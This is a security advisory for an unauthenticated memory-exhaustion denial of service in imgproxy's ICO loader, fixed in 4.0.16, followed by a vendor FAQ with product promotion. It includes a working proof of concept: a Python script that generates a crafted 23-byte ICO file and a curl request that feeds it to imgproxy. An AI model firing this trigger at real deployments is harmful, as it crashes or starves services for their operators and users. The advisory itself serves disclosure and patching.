GHSA-MMQ5-XM89-9PFG

imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field

uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);

// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);

# make_ico_4gb.py, generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
#   ico-4gb.ico  sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib

hdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
    '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")

# imgproxy v4.0.15 with local file sources enabled:
#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# → outcome depends on host memory: on a memory-constrained pod the worker
#   OOM-dies; on a larger host the ~4GB allocation succeeds transiently and
#   decode fails -> HTTP 500 (worker survives, but each request burns ~4GB
#   transiently, repeatable memory exhaustion).

Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

GHSA-MMQ5-XM89-9PFG has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.16); upgrading removes the vulnerable code path.

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1. What is GHSA-MMQ5-XM89-9PFG? GHSA-MMQ5-XM89-9PFG is a high-severity uncontrolled resource consumption vulnerability in github.com/imgproxy/imgproxy/v3 (go), affecting versions >= 3.3.0, <= 4.0.15. It is fixed in 4.0.16. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is GHSA-MMQ5-XM89-9PFG? GHSA-MMQ5-XM89-9PFG has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/imgproxy/imgproxy/v3 are affected by GHSA-MMQ5-XM89-9PFG? github.com/imgproxy/imgproxy/v3 (go) versions >= 3.3.0, <= 4.0.15 is affected.
4. Is there a fix for GHSA-MMQ5-XM89-9PFG? Yes. GHSA-MMQ5-XM89-9PFG is fixed in 4.0.16. Upgrade to this version or later.
5. Is GHSA-MMQ5-XM89-9PFG exploitable, and should I be worried? Whether GHSA-MMQ5-XM89-9PFG is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-MMQ5-XM89-9PFG is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-MMQ5-XM89-9PFG? Upgrade github.com/imgproxy/imgproxy/v3 to 4.0.16 or later.

Other vulnerabilities in github.com/imgproxy/imgproxy/v3